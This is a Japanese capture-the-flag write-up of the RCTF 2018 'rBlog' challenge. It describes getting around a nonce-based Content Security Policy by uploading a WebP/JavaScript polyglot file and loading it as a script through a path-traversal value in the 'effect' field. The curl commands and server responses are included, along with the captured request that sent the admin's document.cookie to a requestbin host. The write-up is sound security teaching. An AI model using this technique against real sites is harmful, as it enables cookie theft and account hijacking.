RCTF 2018 - rBlog 2018
問題文
get `document.cookie` http://rblog.2018.teamrois.cn
writeup
TitleとContentの入力、Effect(投稿記事の後ろに付くエフェクト)の選択、画像のアップロードをしてBlog記事を投稿するサイト。
投稿した記事には、
/blog.php/1a3adf09419b7deec1fa31eba3dce1fab4696ee5
のようにURLが採番される。
Report Abuseからadminに投稿記事を見てもらえるようなので、
document.cookieを自分のサーバに送るスクリプトを埋め込んだ投稿記事を作成すれば、フラグをゲットできそうだ。
まずはcurlで投稿画面を確認する。
root@kali:rBlog# curl "http://rblog.2018.teamrois.cn/" -v * Trying 207.148.70.35... * TCP_NODELAY set * Connected to rblog.2018.teamrois.cn (207.148.70.35) port 80 (#0) > GET / HTTP/1.1 > Host: rblog.2018.teamrois.cn > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Sun, 20 May 2018 14:06:00 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/7.2.5 < Referrer-Policy: strict-origin < X-Frame-Options: DENY < Content-Security-Policy: default-src 'none'; script-src 'nonce-d5e8e7861922fbe3f9284a68ce2d7d60'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self' < Vary: Accept-Encoding < Content-Length: 2835 < Content-Type: text/html; charset=UTF-8 < <!doctype html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="stylesheet" href="/assets/css/bootstrap.min.css"> <link href="https://fonts.googleapis.com/css?family=Titillium+Web" rel="stylesheet"> <link rel="stylesheet" href="/assets/css/style.css"> <title>rBlog 2018</title> </head> <body> <div class="container mt-3"> <h1 class="text-center">rBlog 2018</h1> <form method="POST" enctype="multipart/form-data"> <div class="form-group"> <label for="title">Title</label> <input class="form-control" name="title" id="title" maxlength="200"> </div> <div class="form-group"> <label for="content">Content</label> <textarea class="form-control" id="content" name="content" rows="10" maxlength="2000" required></textarea> </div> <div class="form-row"> <div class="col-md-4 mb-3"> <select class="form-control" id="effect" name="effect"> <option value="">No style</option> <option value="three-waves">Waves</option> <option value="canvas-lines">Lines</option> <option value="canvas-nest">Nest</option> <option value="canvas-sphere">Sphere</option> </select> </div> <div class="col-md-4 mb-3"> <div class="custom-file"> <input type="file" class="custom-file-input" id="image" name="image"> <label class="custom-file-label" for="customFile">Add image</label> </div> </div> <div class="col-md-4 mb-3"> <button type="submit" class="btn btn-primary btn-block">Submit</button> </div> </div> </form> <div class="mt-5"> <h4>About rBlog 2018</h4> <p>Store your secrets here but don't do evil things</p> <h4>Report Abuse</h4> <p>Report to admin who is using latest version of Chrome Stable</p> <form method="POST" action="report.php"> <div class="input-group mb-3"> <div class="input-group-prepend"> <span class="input-group-text" id="basic-addon3">/blog.php/</span> </div> <input type="text" class="form-control" id="reportid" name="reportid" maxlength="40" required> <div class="input-group-append"> <button class="btn btn-outline-secondary" type="submit">Report</button> </div> </div> <div class="g-recaptcha" data-sitekey="6Lc5HhkUAAAAANbTN3ZOFwAPKFS76O8Abd5kIfk4"></div> </form> </div> <p class="author mt-3 mb-3 text-center"></p> </div> <script nonce="d5e8e7861922fbe3f9284a68ce2d7d60" src="/assets/js/jquery.min.js"></script> <script nonce="d5e8e7861922fbe3f9284a68ce2d7d60" src='https://www.google.com/recaptcha/api.js'></script> <script nonce="d5e8e7861922fbe3f9284a68ce2d7d60"> $('#image').on('change', function () { $(this).next('.custom-file-label').text($(this).val()); }) </script> </body> </html> * Connection #0 to host rblog.2018.teamrois.cn left intact
CSP( Content-Security-Policy)のチェックが厳しい。
script実行するにはnonceによるチェックを突破しないといけない。
投稿画面の入力項目を確認すると、2つの脆弱性を発見。
- Title項目がサニタイジングされていない。
<script>alert(1)</script>
を入力するとそのまま表示される。 - プルダウンで選択したEffectの値が、投稿記事がロードするJavaScriptのファイル名にセットされる。
<script nonce="2214830e1c9cc417fd37babcf83c81c0" src="/assets/js/effects/styleの値.min.js"></script>
のようになる。
1は、CSPの制限により実行できない。
2は、JavaScriptまたはJavaScriptを含んだ画像ファイルのアップロードができれば利用できそうだ。
画像ファイルの拡張子でないとアップロードに失敗する。
また、拡張子だけ画像ファイルに変えて、ファイルの中身をJavaScriptにしても失敗する。
よって、画像ファイルを改ざんして、画像ファイルの一部だけスクリプトにする作戦。
何の画像を使用するか検討する。まずは、各種、画像ファイルのアップロードを試す。
jpg、bmp、gif、pngは、ダウンロードする際に、Content-Typeにimage/
が付くためNG。
webpだけはContent-Typeが付かなかった。apacheの設定が甘いのだろうか。
webpのファイルフォーマットを確認する。 WebP Container Specification | WebP | Google Developers
RIFF + WEBP以降のファイルサイズ + WEBP + データ
のフォーマットのようだ。
なお、出題サイトがphpで実装されているため、imagecreatefromwebp
関数でチェックしているものと想定し、ファイルを改ざんしながら、var_dump(imagecreatefromwebp("ファイル名.webp"));
で随時確認する。
まずは、非ASCIIとなるデータ部をコメントアウトするため、WEBP以降のファイルサイズの先頭2バイトに/*(0x2F2A)をいれる。
2A2F=10799であるため、WEBP + データが10799バイトになるようにファイルサイズを調整する。
0x00を後ろにいくら足しても、WEBPファイルとして認識されるらしい。
最後に*/でコメントを閉じて、先頭のRIFFを変数と見なすための=1;
と実験のためのalert(1);
をいれる。
root@kali:rBlog# curl "http://rblog.2018.teamrois.cn/" -F title=a -F content=b -F effect= -F "image=@alert.webp;filename=alert.webp" -v -L <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="stylesheet" href="/assets/css/bootstrap.min.css"> <link rel="stylesheet" href="/assets/css/style.css"> <link href="https://fonts.googleapis.com/css?family=Titillium+Web" rel="stylesheet"> <title>rBlog 2018</title> </head> <body> <div class="container mt-5"> <div class="card"> <img class="card-img-top" src="/upload/images/4daccad65173686b0d0311fabeff9141.webp"> <div class="card-body"> <h2 class="card-title">a</h2> <p class="card-text">b</p> </div> </div> </div> <script nonce="a1da70370b79aca3ab8c3f36bd23c67e" src="/assets/js/jquery.min.js"></script> </body> </html>
ファイルのアップロード投稿に成功し、ファイル名が採番された。
次に、アップロードしたファイルをロードする記事を投稿する。
effectに
../../../upload/images/4daccad65173686b0d0311fabeff9141.webp"
をセットして記事投稿する。
root@kali:rBlog# curl "http://rblog.2018.teamrois.cn/" -F title=a -F content=b -F 'effect=../../../upload/images/4daccad65173686b0d0311fabeff9141.webp"' -F "image=;filename=" -L <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="stylesheet" href="/assets/css/bootstrap.min.css"> <link rel="stylesheet" href="/assets/css/style.css"> <link href="https://fonts.googleapis.com/css?family=Titillium+Web" rel="stylesheet"> <title>rBlog 2018</title> </head> <body> <div class="container mt-5"> <div class="card"> <div class="card-body"> <h2 class="card-title">a</h2> <p class="card-text">b</p> </div> </div> </div> <script nonce="470532bcd9e5bd79c9138a88cad3e6d4" src="/assets/js/jquery.min.js"></script> <script nonce="470532bcd9e5bd79c9138a88cad3e6d4" src="/assets/js/three.min.js"></script> <script nonce="470532bcd9e5bd79c9138a88cad3e6d4" src="/assets/js/effects/../../../upload/images/4daccad65173686b0d0311fabeff9141.webp".min.js"></script> </body> </html>
成功。ブラウザで表示するとアラートが表示された。
同じ手順で、document.cookieをrequestbinに送信するスクリプトを埋めたファイルを作る。
アップロードしブラウザで表示すると成功。
最後に、Report Abuseのフォームに投稿記事のURLを送信。
しばらく待つとrequestbinにリクエストが来た。
GET /rdamwrrd?q=ZmxhZz1SQ1RGe3doeV90aGVfaGVja19ub19taW1ldHlwZV9mb3Jfd2VicF9pbl9hcGFjaGUyX2luXzgwMTJ9OyBoaW50X2Zvcl9yQmxvZ19SZXYuMj1odHRwOi8vcmJsb2cuMjAxOC50ZWFtcm9pcy5jbi9ibG9nLnBocC81MmM1MzNhMzBkODEyOWVlNDkxNTE5MWM1Nzk2NWVmNGM3NzE4ZTZk
root@kali:rBlog# echo -n ZmxhZz1SQ1RGe3doeV90aGVfaGVja19ub19taW1ldHlwZV9mb3Jfd2VicF9pbl9hcGFjaGUyX2luXzgwMTJ9OyBoaW50X2Zvcl9yQmxvZ19SZXYuMj1odHRwOi8vcmJsb2cuMjAxOC50ZWFtcm9pcy5jbi9ibG9nLnBocC81MmM1MzNhMzBkODEyOWVlNDkxNTE5MWM1Nzk2NWVmNGM3NzE4ZTZk | base64 -d flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012}; hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d
フラグと次の問題のヒントをゲットした。